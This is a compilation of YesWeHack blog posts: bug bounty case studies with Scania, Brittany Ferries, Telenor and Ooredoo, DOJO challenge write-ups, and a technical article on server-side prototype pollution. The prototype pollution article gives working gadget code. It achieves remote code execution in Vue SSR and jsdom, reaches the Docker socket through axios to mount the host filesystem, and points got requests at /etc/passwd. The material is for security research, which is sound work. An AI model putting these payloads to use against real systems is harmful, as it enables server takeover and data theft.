, the Global Bug Bounty & VDP platform, teamed up with 

, Sweden-based leading provider of sustainable transport solutions, to organise a hack day in Södertälje, south of Stockholm, Sweden. The event aimed to promote ethical hacking and cybersecurity among Scania employees and proved to be a great success in many ways.

Introduction to ethical hacking 👨‍💻

, Head of Nordics at YesWeHack, introduced 

In recent years, Bug Bounty programs have become increasingly popular among organisations as a way to enhance their cybersecurity posture. With Bug Bounty, organisations can crowdsource their security testing by inviting ethical hackers, also known as researchers, to find vulnerabilities in their information systems, in exchange for monetary rewards. YesWeHack currently has over 45,000 ethical hackers registered on its Bug Bounty platform, ensuring a wide range of skills to its customers worldwide.

Following this introduction to Bug Bounty, 

, Researcher Enablement Analyst at YesWeHack, put on his ethical hacker hat to initiate Scania employees to hacking techniques and tools. 

From reconnaissance to exploitation, Alex covered everything attendees needed to know about hacking, including the mindset and methods of a hacker.

 Here are some key takeaways from his presentation:

A successful Bug Bounty hunter must be able to think creatively and outside the box. He needs to be able to identify vulnerabilities that others may have missed.

Reconnaissance is a critical first step in any hacking methodology. By gathering as much information as possible about the target, a hacker can identify potential vulnerabilities and attack vectors.

It’s important to have a well-defined methodology when approaching a target. This helps ensure that no stone is left unturned and that all potential vulnerabilities are identified.

There are many tools available to help hackers with their work, from automated scanners to custom scripts. However, a skilled hacker knows when to use these tools and when to rely on their own intuition and expertise.

Are you looking to enhance your skills and gain new knowledge? Check out 

our blog posts that are focused on hacker techniques

After the theoretical part, it was time to put it all into practice! Around 40 developers from Scania were given the opportunity to try to hack their own scopes, using the techniques they had just heard about.

This was a fun and engaging experience for Scania employees, who enjoyed learning how to hack, but also gained a deeper understanding of attackers’ thought processes. 

Besides, meeting and talking to a bug hunter raised awareness of the importance of cybersecurity among the development team, making the event informative and valuable.

Last but not least, this hacking session helped to foster a sense of community between Scania and YesWeHack, as both companies were able to collaborate and learn from each other throughout the day.

This hack day was a huge success, since the main objective was met: to highlight the key role of ethical hacking and cybersecurity in today’s digital age. By teaching employees how to hack and encouraging the implementation of Bug Bounty programs, organisations can adopt a proactive approach to cybersecurity and ensure that their systems are better secure from potential threats.

For Scania, it was also a positive step in its DevSecOps journey, as the company is in the process of shifting left. The intention is to include security directly in the development process, thus allowing continuous development and continuous testing.

Congratulations to Scania for taking this significant step in securing its systems. We’re looking forward to more collaborative efforts in the future!

Scania is a world-leading provider of sustainable transport solutions, including trucks and buses for heavy transport applications combined with an extensive product-related service offering. Scania offers vehicle financing, insurance, and rental services to enable their customers to focus on their core business. Scania is also a leading provider of industrial and marine engines.

Employing more than 50,000 people in about 100 countries, Scania’s research and development is concentrated in Sweden, while production takes place in Europe and South America. Their purpose is to drive the shift towards a sustainable transport system. More information on: 

https://www.scania.com/group/en/home.html

Would you like to have more information about YesWeHack’s Bug Bounty platform? Click the button below to schedule a demo with one of our experts.

Founded in 2015, YesWeHack is a Global Bug Bounty & VDP Platform. YesWeHack offers companies an innovative approach to cybersecurity with Bug Bounty (pay-per-vulnerability discovered), connecting tens of thousands of cybersecurity experts (ethical hackers) across 170 countries with organisations to secure their exposed scopes and reporting vulnerabilities in their websites, mobile apps, infrastructure and connected devices.

YesWeHack runs private (invitation based only) programs and public programs for hundreds of organisations worldwide in compliance with the strictest European regulations.

In addition to the Bug Bounty platform, YesWeHack also offers: a creation and management solution for 

, a learning platform for ethical hackers called 

 and a training platform for educational institutions, 

Raising Awareness Among Development Teams: Hack Day with Scania and YesWeHack in Stockholm

 is a non-profit association dedicated to providing practical and customised cybersecurity solutions to the maritime industry. Its mission is to enhance the industry’s resilience and promote French expertise in maritime cybersecurity on a global scale, with a particular focus on Europe.

As cyber-attacks continue to proliferate, particularly within the maritime industry, France Cyber Maritime is committed to delivering cutting-edge solutions to safeguard the industry’s IT systems and infrastructure.

To that end, France Cyber Maritime has partnered with 

, a member of the association, to introduce 

 – the first-ever live Bug Bounty program designed specifically for the maritime industry in Europe. This initiative aims to bolster the cybersecurity defenses of maritime companies by proactively identifying potential vulnerabilities before they can be exploited by malicious actors.

In May 2022, the inaugural edition of Battleship was held, featuring the participation of 

Founded in 1972, the French maritime company BAI became Brittany Ferries in 1974 and is today the leading shipping company on the Western and Central Channel. With a fleet of 10 ships, Brittany Ferries operates crossings between France, the UK, Ireland and Spain and carries around 2 million passengers per year.

Over a period of 48 hours, dozens of cybersecurity experts from the 

 community tested Brittany Ferries’ online booking platform, seeking to uncover any potential security weaknesses. This initial edition of Battleship proved to be a resounding success, enabling Brittany Ferries to reinforce the security of its booking system.

, CISO at Brittany Ferries, who graciously shared his experience of participating in this unprecedented event. Ian Frens provided valuable insights into how the company prepared for the event, as well as the significant impact that the initiative had on the overall IT security of the organisation.

Can you explain the reasons behind Brittany Ferries’ participation to Battleship?

Brittany Ferries had recently revamped its online booking system, which had become a critical application for the company, as a majority of ferry bookings were now made online.

Despite undergoing a penetration test before going live, the system revealed two significant vulnerabilities that raised concerns about its security.

When France Cyber Maritime extended the invitation to participate in the Live Bug Bounty program, we saw this as a valuable opportunity to evaluate the security of our booking application, even though we had no prior experience in this area.

Given our lack of expertise in the Bug Bounty domain, we decided to focus solely on the main online booking application, though we had initially considered testing other web applications as well. In hindsight, this decision proved to be wise, as it enabled the researchers to concentrate on a specific scope.

How did you prepare your participation in this Live Bug Bounty?

As this was a completely new approach for Brittany Ferries, our first step was to attend meetings with France Cyber Maritime and YesWeHack to understand the event’s structure and organisation. These meetings enabled us to prepare adequately and anticipate what to expect during the Live Bug Bounty.

Next, we focused on defining our program. Even though we already intended to test the application, it was crucial to define:

The vulnerabilities to look for and those to exclude

The rules for researchers to follow during the event

We collaborated closely with the YesWeHack team and involved the application teams from the outset.

Once the program was defined, Brittany Ferries’ internal teams, including the application team, the CISO and the production team, were mobilised for the two-day event. Participation in such an event requires in-house security skills in both the application and web domains, not only to write the program but also to assess the vulnerabilities discovered during the event.

Although the YesWeHack team conducts a pre-qualification process during the event, it is essential to fully understand the reports to determine whether to accept the vulnerabilities and award corresponding rewards.

Were there any concerns or fears within Brittany Ferries before joining this Live Bug Bounty?

From the outset, we recognised the potential benefits of participating in the Bug Bounty program, despite its novelty. As such, the idea was met with a positive response. Of course, we had to obtain approval from management by addressing certain concerns such as the selection of security researchers, the impact on production, and the confidentiality of results. Fortunately, these concerns were quickly addressed, and we were able to participate in Battleship with confidence.

What do you think about the concerns companies may have about launching a Bug Bounty program in a production environment?

The program definition does not prevent some side effects indeed. In order to facilitate the identification of Bug Bounty attacks, we asked participating researchers to include a specific header in all of their test requests.

During the event, we faced a situation where a researcher used a bruteforce tool to test one of our APIs. Thankfully, our production team was quickly alerted by our monitoring tools, and we were able to discuss the issue with the researcher to find a solution. Once the incident was resolved, we did not encounter any further similar issues.

It’s worth noting that during a Bug Bounty event, it’s always possible to interact with participating researchers to adjust or reframe their research if necessary. This highlights the importance of having internal teams readily available throughout the event.

What benefits did participating in Battleship bring to you and your company?

To begin with, our participation in the Bug Bounty program provided us with reassurance about the security level of our application. Although a few vulnerabilities were discovered, none of them were deemed critical. Overall, the researchers considered the security level of the application to be good.

Furthermore, the vulnerabilities that were discovered allowed us to address them promptly. 

We found that the cost-effectiveness ratio was excellent compared to our usual penetration testing.

Our internal development teams found the event to be highly engaging. The interactive collaboration facilitated by Bug Bounty enabled them to gain a better understanding of attackers’ thought processes and the techniques they employ. It also heightened their awareness that minor coding or configuration errors could be exploited for malicious purposes. This awareness is a significant advantage of Bug Bounty over penetration testing.

Lastly, we realised that communicating our participation in this event could help establish trust among our customers and partners by demonstrating that cybersecurity was a top priority for Brittany Ferries.

Overall, the event had a positive outcome, which is why we decided to integrate Bug Bounty into our annual audit plan in addition to more conventional methods.

In 2023, YesWeHack and France Cyber Maritime are once again organising 

. This year, in addition to benefiting the French maritime and port community, Battleship will also be open to European players of the industry who wish to enhance their security posture. The event will take place remotely on November 28th and last for 24 hours.

If you are interested in participating or sponsoring the event, please reach out to contact@france-cyber-maritime.eu.

Navigating the Waters of Bug Bounty: Lessons Learned from Brittany Ferries’ Live Event

, Butters Adventure v2 aims to exploit a DOM vulnerability using a clobbering technique to overwrite the JavaScript function getElementById().

 You want to create your own DOJO and publish it? Send us a message on Twitter!

We are glad to announce the #22 DOJO Challenge winners list.

The best write-ups reports were submitted by: 

 feeds to be notified of the upcoming challenges.

Read on to find the best write-up as well as the challenge author’s recommendations.

We asked you to produce a qualified write-up report explaining the logic allowing such exploitation. This write-up serves two purposes:

Determine the contestant ability to properly describe a vulnerability and its vectors inside a professionally redacted report. This capacity gives us invaluable hints on your own, unique, talent as a bug hunter.

We would like to thank everyone who participated. The #22 DOJO challenge provided us with a 

We had to make a selection of the best ones. These challenges allow to see that there are almost as many different solutions… as long as there is creativity! 😉

Thanks again for all your submissions and thanks for playing with us!

The term clobbering comes from the fact that you are “clobbering” a global variable or property of an object and overwriting it with a DOM node or HTML collection instead thus leading to undesired behavior.

When creating the DOM tree, browsers create an attribute for named HTML elements on window and document objects. Named HTML elements are those having an id or name attribute:

Browser will here create a property dummyForm in window and document objects thus overriding a possible value for a possible dummyForm global variable.

Only certain elements can use the name attribute to clobber globals, they are: embed, form, iframe, image, img and object.

Clobbering can go deeper with chained attributes but our vulnerability fits to this first behavior.

In this dojo context it is only possible to inject HTML into the value attribute of the inpt input.

This HTML page starts by an HTML body containing some text, an empty pre tag with the id out and a form :

Then it has a script tag with a try/catch. The risk here is to throw an exception and crash the system in the mishandled catch block. To crash Javascript, we have this only condition:

This code could crash from at least 2 different points:

document does not embed a getElementById function

document does not retrieve an HTML element with the out id thus crashes on innerText assignment.

As we are in an HTML injection potential context and with few possibilities to execute Javascript (only with a javascript:script url alike attribute in the HTML. It is highly probable that the first point is the right one as deleting a DOM element will be hardly possible without Javascript.

Then we try to find a way to clobber HTML to override getElementById native function.

As described in the description section, getElementById is a document property, we can try to clobber it with a clobberable tag and a name attribute :

In order to fit the context and escape unwanted characters, the full payload is:

If Javascript crashes it should trigger the catch block:

Thus displaying the error in the second alert. In our case it should throw a TypeError because document.getElementById should not be a function anymore:

How? -> TypeError: document.getElementById is not a function

The risk here is to crash the application. In other contexts it can lead to different unwanted behavior depending on the application code implementation.

According to OWASP cheatsheet on this topic there are 3 mitigation techniques:

HTML sanitization where OWASP recommends to use 

 to restrict possible Javascript files execution to avoid malicious code to be executed. Warning: CSP can only mitigate some varints of DOM clobbering attacks, such as when attackers attempt to load new scripts by clobbering script sources, but not when already-present code can be abused for code execution. It is not useful in our case.

 DOM Objects to prevent overriding by named DOM elements. This method is painful due to the need to identify each concerned node.

OWASP recommends as well secure code guidelines, quickly listed here:

Validate all inputs to DOM tree (linked to sanitization)

Use explicit variable declarations, especially the ‘new’ let and const which have cleaner scope behavior

Do not manipulate Window and Document global variables

Do not trust Document APIs before validation

Enforce type checking with instanceof and typeof

DOJO Challenge #22 Winners!

’s global cybersecurity research community will help identify potential vulnerabilities in Telenor Sweden’s critical telecom infrastructure and protect its customer’s information

, Europe’s leading Bug Bounty platform, to identify potential vulnerabilities on its critical telecom infrastructure and protect customer information.

Telenor is a leading telecommunications company across the Nordics and Asia with more than 188 million customers worldwide. It has mobile operations in the Nordics, including Norway, Sweden, Denmark, Finland and in Asia, including Pakistan, Bangladesh, Thailand, Malaysia, and Myanmar. Connecting customers to what matters most has been the core of its business for more than 160 years.

Telenor’s wholly owned subsidiary, Telenor Sweden, is one of the largest mobile operator in the country and provider of fixed broadband services to the consumer and business markets in Sweden.

Telecom companies maintain and operate critical communications infrastructure. This is used to transmit large amounts of sensitive consumer and business data, due to which cyberattacks against the industry are soaring. Meanwhile, the rapid advancements of new technologies such as the Internet of Things (IoT) and 5G dramatically increase the potential attack surface and threat landscape for a telco.

To protect customer data and the security of its critical infrastructure, Telenor is investing in security capabilities across its organisation as well as with its suppliers and third-party providers. It ensures the same level of control over data and infrastructure, independent of operating – or business model.

One such initiative is crowdsourcing security through a bug bounty program with YesWeHack to identify security gaps and ensure adequate data protection. Crowdsourced security will help Telenor Sweden access a diverse range of security researchers, also called hunters, with unique specialisations and in-depth industry knowledge.

“The partnership with YesWeHack is one of the ways we work with security and maybe one of the most important ones in our proactive work to stop cybercriminals. The return on investment is huge since we get access to thousands of security researchers while only paying a fraction of the cost it would take to recruit them all individually,” said Ulf Andersson, Head of Information Security at Telenor Sweden. “We are now planning to level up both the private and public program to make it even more attractive and generate more reports,” he added.

Telenor Sweden had started with a private bug bounty program where YesWeHack invited selected researchers to hack it’s infrastructure. This was followed by a public bug bounty 

 where the telco is now being scrutinised by the entire YesWeHack community, representing more than 35,000 global cybersecurity researchers.

“Through the YesWeHack bug bounty program, we are connected to one of the finest global networks of hackers to help us find security gaps in our infrastructure. It’s all about finding vulnerabilities before anyone else. By being proactive and allowing the hacking of our infrastructure, we can find weaknesses before the criminals do and fix them,” said Marcus Lundblad, Security Engineer at Telenor Sweden.

By reducing security gaps and ensuring adequate data protection, Telenor Sweden gives its customers the comfort to share information and allow them to reap the benefits of the data-driven economy.

“Protecting people in their digital life with security at the foundation is the core value of Telenor,” said Guillaume Vassault-Houlière, CEO and Co-Founder of YesWeHack. “Telenor Sweden has achieved the position of a trusted and secure provider in all markets because of its focus on customer data protection and by defending its critical infrastructure by adopting game-changing solutions such as bug bounty,” he added.

Cybersecurity experts from Telenor Sweden will share best practices on guarding against cyber threats in a webinar on March 17th 2022. They will also share why the organisation has put bug bounty at the core of its security posture and will detail the clear benefits of a platform-driven, results-oriented and crowdsourced approach to security audits. For more information and registration visit our 

Telenor Sweden uses ethical hackers to dial-up cybersecurity to the max

 – Qatar’s leading provider of ICT solutions – has announced the launch of the first 

 in Qatar to enhance security provision for its Ooredoo.qa platform.

The new cyber-security program upgrades Ooredoo’s security practices by adding an extra layer of security testing to its regular vulnerability assessment and penetration testing. The programme entails inviting a global community of pre-registered ethical hackers and researchers to test its security, and report findings in return for a financial reward.

Sheikh Ali Bin Jabor Al Thani, Chief Executive Officer at Ooredoo Qatar said: “The launch of this new initiative demonstrates Ooredoo’s commitment to the provision of secure products and services to our customers, and to proactively addressing security vulnerabilities as soon as they are found in order to protect our customers, our employees and our business. The programme also enables us to ensure we meet our environmental and social responsibilities, as outlined in our corporate strategy.”

The telco leader has collaborated with the global Bug Bounty platform 

 to define the rules of the program, including the scope of the test, the vulnerabilities that qualify for a reward and their value. If the vulnerability is considered valid, the researcher is rewarded based on the validity and criticality of the bug. Once fixed, the bug is checked again to ensure resolution.

The public Bug Bounty Program will be a permanent part of Ooredoo’s security provision.

Would you like to learn more about YesWeHack’s Bug Bounty solution?

Take the first step by scheduling a demo with one of our experienced crowdsourced security professionals who can provide valuable insights and help you discover how our platform can benefit your organisation.

Founded in 2015, YesWeHack is a global Bug Bounty and VDP Platform. YesWeHack offers companies an innovative approach to cybersecurity with Bug Bounty (pay-per-vulnerability discovered), connecting more than 45,000 cybersecurity experts (ethical hackers) across 170 countries with organisations to secure their exposed scopes and reporting vulnerabilities in their websites, mobile apps, infrastructure and connected devices.

In addition to the Bug Bounty platform, YesWeHack also offers: a creation and management solution for 

, a learning platform for ethical hackers called 

 and a training platform for educational institutions, 

Ooredoo Launches New Cyber-Security Program to Upgrade Security Practices and Enhance Cyber-Security

Today, we will dive into the world of prototype pollution, focusing on server-side exploitation. Although this attack has become more prevalent for client-side or open-source applications, it can still be challenging to test and exploit in a black box scenario. In this blog post, we’ll first explore how prototypes work in JavaScript, then examine methods for detecting vulnerable websites and finally finding gadgets in popular libraries to develop a working exploit.

To have a comprehensive understanding of prototype pollution in JavaScript, it’s important to first grasp the concept of prototypes in the language. JavaScript is an object-oriented language that heavily relies on inheritance. For example, where does the method hasOwnProperty come from in the following example?

const x = {a: 42}

x.hasOwnProperty("a") // true
x.hasOwnProperty("hasOwnProperty") // false

When you try to access a property, JavaScript first looks at the object itself and checks if the property exists. If it exists, the value of this property is returned. If not, JavaScript looks if the same property exists in it’s prototype. This process is then repeated until the property is found, or when an object doesn’t have a prototype anymore.

This method actually comes from the prototype of x, which is Object.prototype.

You can access the prototype of any object via the magic property __proto__.

const x = {a: 42}

typeof x.hasOwnProperty // "function"
x.__proto__ === Object.prototype // true
x.__proto__.hasOwnProperty("hasOwnProperty") // true

const s = "test"
typeof s.hasOwnProperty // "function"
s.__proto__ === String.prototype // true
s.__proto__.hasOwnProperty("hasOwnProperty") // false
s.__proto__.__proto__ === Object.prototype // true
s.__proto__.__proto__.hasOwnProperty("hasOwnProperty") // true

The Object prototype is shared accross all objects, that mean if we modify it, it will affect all the object that use it.

const x = {y:42}

x.y // 42
x.z // undefined

Object.prototype.y = 'hello y'
Object.prototype.z = 'hello z'

x.y // 42
x.z // 'hello z'


In this example, the value of x.z is ‘hello z’ because the property z doesn’t exist in x but exists in the prototype. This is an important aspect to understand when it comes to prototype pollution. If an attacker can modify the prototype, they can affect all objects that inherit from it, which can lead to dangerous and unexpected consequences

Let’s look at a vulnerable code example:

const config = {
    //allowCMD: true
}
const users = {
    "guest": {name: "guest"},
}

function updateUser(username, prop, value){
    users[username][prop] = value
}

app.route("/update", (req) => {
    const {name, prop, value} = req.query
    updateUser(name, prop, value)
})

app.route("/eval", (req) => {
    const {code} = req.query
    if (!config.allowEval){
        return req.status(403)
    }
    eval(code)
})


In this example, submitting a request with name=__proto__&prop=allowEval&value=true will update the prototype of the users object with allowEval=true. Since the config and users objects share the same prototype, the next time we try to access the /eval route, we will be allowed to run arbitrary code.

The /update route is vulnerable to prototype pollution, and the /eval route is what we call a gadget. A gadget is essentially an access to an undefined property of an object. Since prototype pollution attacks allow for custom attributes to be written in any object that is not set, these undefined properties can allow an attacker to reach critical parts of the source code and change the behavior of the application.

Exploiting prototype pollution occurs in two parts. First, a way to write to the Object.prototype must be found, and then gadgets that can be used must be identified. This is similar to 

. While these gadgets are not vulnerabilities themselves, they can be used to compromise a target if unserialize is used in an insecure way.

PP Finder is a tool that simplifies the task of finding prototype pollution gadgets in a JavaScript codebase. It is designed to facilitate the detection of these vulnerabilities by analyzing all the JavaScript files present in a given directory, and producing a instrumented version that highlights the potentially vulnerable sections of the code.

The tool works by using the TypeScript parser to generate an Abstract Syntax Tree (AST) for each file. It then modifies this tree by injecting hooks that will detect if an undefined property is accessed. Once the modification is complete, the original file is replaced with the modified version that contains the detection hooks.

By modifying the AST, PP Finder is able to detect a wide range of prototype pollution gadgets that might otherwise be difficult to spot.

Once the hook process is complete, you can run the code just like before, and PP Finder will report any potential gadget and provides the location of the relevant sections of the code. With this information, you can analyze the gadget code and determine how it can be leveraged to achieve arbitrary code execution or other malicious behavior.

Detecting prototype pollution without access to the application source code can be challenging. Previous research has focused on polluting methods such as toString or valueOf to trigger a crash. While this can be a way to check for proto pollution, causing a crash might not be the optimal solution for everyone.

With the help of pp-finder, we targeted two of the most popular web server for node in order to find a way to detect the pollution without the crash. Here is our findings.

Express is by far the most popular nodejs http server. By default express use some basic caching mechanismn that can abused in order to check for PP.

When we send a request with the ‘if-none-match’ header, we expect to receive a 304 not modified response.

To verify whether the pollution attack was successful, we can resend the initial request. If we receive a 304 response, it indicates that our exploit did not work. On the other hand, if we receive a 200 response and the etag matches, it means that the website is vulnerable.

⚠️ It’s important to note that disabling the cache in this way can affect the experience of other users.

Fastify is another popular HTTP server with a focus on writing API server, most of the time using json as data encoding.

Now we try to add Content-Type: application/json; polluted=true

If the exploit is successful we should see polluted=true in the response content-type.

⚠️ If the application expect something else than JSON as input, this will probably make the application unusable.

To leverage our ability to detect server-side prototype pollution, we must now create payloads that can be used to exploit vulnerabilities in popular JavaScript libraries.

Here is a collection of gadget we found using PP-finder:

RCE using ssrCssVars, this variable is used in a call to Function, allowing arbitrary code execution.

const { createSSRApp } = require("vue");
const { renderToString } = require("vue/server-renderer");

Object.prototype.ssrCssVars = `1}; return _push(process.mainModule.require('child_process').execSync('id').toString())//`;

const app = createSSRApp({
  template: `<div></div>`,
});

renderToString(app).then((html) => {
  console.log(html);
});


RCE if <script src=> is present somewhere is the html.

const { JSDOM } = require("jsdom");

const payload = `console.log(
  this.constructor
    .constructor("return process")()
    .mainModule.require("child_process")
    .execSync("id")
    .toString()
);`;


Object.prototype.runScripts = "dangerously";
Object.prototype.resources = "usable";
Object.prototype.url = ["data:/"]
Object.prototype.path = ["#"]
Object.prototype.username = `application/javascript,${payload} //`

const dom = new JSDOM(`<script src="script.js"></script>`);


const { JSDOM } = require("jsdom");

const payload = `console.log(
  this.constructor
    .constructor("return process")()
    .mainModule.require("child_process")
    .execSync("id")
    .toString()
);`;


Object.prototype.runScripts = "dangerously";
Object.prototype.resources = "usable";
Object.prototype.url = ["data:/"]
Object.prototype.path = ["#"]
Object.prototype.username = `text/html,<script>${payload}</script>`

const dom = new JSDOM(`<iframe src="/frame"></iframe>`);


Object.prototype["content-type"] = "text/html;json;";


We didn’t found a way to change the host or the path of a request made with axios. However we found that it’s possible to force axios to send the request to a local unix socket.

We also found a way to change the body and the content-length of the request.

As it is possible to write request body, headers and socketPath, we can use HTTP pipe-lining to write a completely new request within the body of the initial request:

import axios from "axios";


// Create a container
const body = JSON.stringify({
  Image: "alpine:latest",
  Cmd: ["sleep", "60"],
  Volumes: { "/host": {} },
  HostConfig: { Binds: ["/:/host"] },
});

const createContainer = [
  "POST /containers/create?name=exploit HTTP/1.1",
  "Host: foo.bar",
  "Content-Type: application/json",
  "Connection: keep-alive",
  "Content-Length: " + body.length,
  "",
  body,
].join("rn");


// Run it
const startContainer = [
  "POST /containers/exploit/start HTTP/1.1",
  "Host: foo.bar",
  "Content-Type: application/json",
  "Connection: close",
  "Content-Length: 0",
  "",
  "",
].join("rn");

// Redirect query to the docker socket
Object.prototype.socketPath = "/var/run/docker.sock";

Object.prototype.data = "1" + createContainer + startContainer; // HTTP request pipelining

// Add headers to all requests
Object.prototype.common = {
  Connection: "keep-alive",
  "Content-Length": "1", // Spoof the Content-Length to do HTTP request pipelining
};

await axios.get("http://localhost:31337/");



Or you can always use HTTP pipe-lining without the unix socket to craft arbitrary request on the original host (here localhost:31337)

Got is another another http client, that can be use to perform ssrf.

// Override raw body ( affects Content-Type & Content-Length)
Object.prototype.body = "foo";
// Override json body ( affects Content-Type & Content-Length)
Object.prototype.json = {foo: 'bar'};
// Override connect host/port/path/search
Object.prototype.host = "localhost";
Object.prototype.port = 31337;
Object.prototype.path = "../../../etc/passwd";
Object.prototype.search = "woefijweofij";
// Creates basic auth
Object.prototype.username = "user";
Object.prototype.password = "pass";


Maybe you will be able to find other gadgets using pp-finder, let us know!

In conclusion, prototype pollution is a dangerous vulnerability that can be exploited in various ways to execute arbitrary code or take control of a web application. Our pp-finder tool can help detect potential prototype pollution issues in a codebase, and we have demonstrated how to detect server-side prototype pollution in popular Node.js HTTP servers such as Express and Fastify. With this knowledge, we can begin to craft payloads that can exploit popular JavaScript libraries to perform prototype pollution attacks.

However, we would like to emphasize that this information should only be used for educational or research purposes with prior consent from the target. A prototype pollution can have a large variety of unexpected side effect, therefore it’s recommanded to avoid testing for it directly in production…

If you would like to learn more about prototype pollution or try our pp-finder tool, please visit our GitHub repository 

.
You can also read this excellent article by 

Server-side prototype pollution: Black-box detection without the DoS

Server side prototype pollution, how to detect and exploit

, EvilTwin-Admin aims to exploit a SQL logic vulnerability by registering a new administrator user, resulting in a 

We are glad to announce the #21 DOJO Challenge winners list.

We would like to thank everyone who participated. The #21 DOJO challenge provided us with a 

Improper Access Control by SQL Logic Vulnerability | CVSSv3 8.6 | CWE-284

An improper access control vulnerability is a type of security vulnerability that occurs when a system or application does not properly enforce access restrictions. This can allow unauthorized individuals to access sensitive information, perform unauthorized actions, or gain elevated privileges. Improper access controls can occur in a variety of ways, such as weak authentication mechanisms, missing access controls, or flawed access control logic. This type of vulnerability can be exploited by attackers to gain unauthorized access to sensitive information or systems, steal sensitive data, perform unauthorized actions, or even take control of the system.

An attacker can become the only administrator of the concerned application by creating a new user that meets the requirements to overwrite the current admin user. He can then log-in with his custom email and password and access admin features.

This is the Sqlite code used in the challenge :

The YesWeHack Blog

Raising Awareness Among Development Teams: Hack Day with Scania and YesWeHack in Stockholm

Navigating the Waters of Bug Bounty: Lessons Learned from Brittany Ferries’ Live Event

DOJO Challenge #22 Winners!

Raising Awareness Among Development Teams: Hack Day with Scania and YesWeHack in Stockholm

Telenor Sweden uses ethical hackers to dial-up cybersecurity to the max

Ooredoo Launches New Cyber-Security Program to Upgrade Security Practices and Enhance Cyber-Security

Server side prototype pollution, how to detect and exploit

Telenor Sweden uses ethical hackers to dial-up cybersecurity to the max

DOJO CHALLENGE #21 Winners!

Firefly: a smart black-box fuzzer for web applications testing

PimpMyBurp #7: How HaE Burp Suite extension can help you in your daily hunting session

DOJO CHALLENGE #21 Winners!

Don't wait for threats to strike

Products

Researchers

Resources

Company

Follow us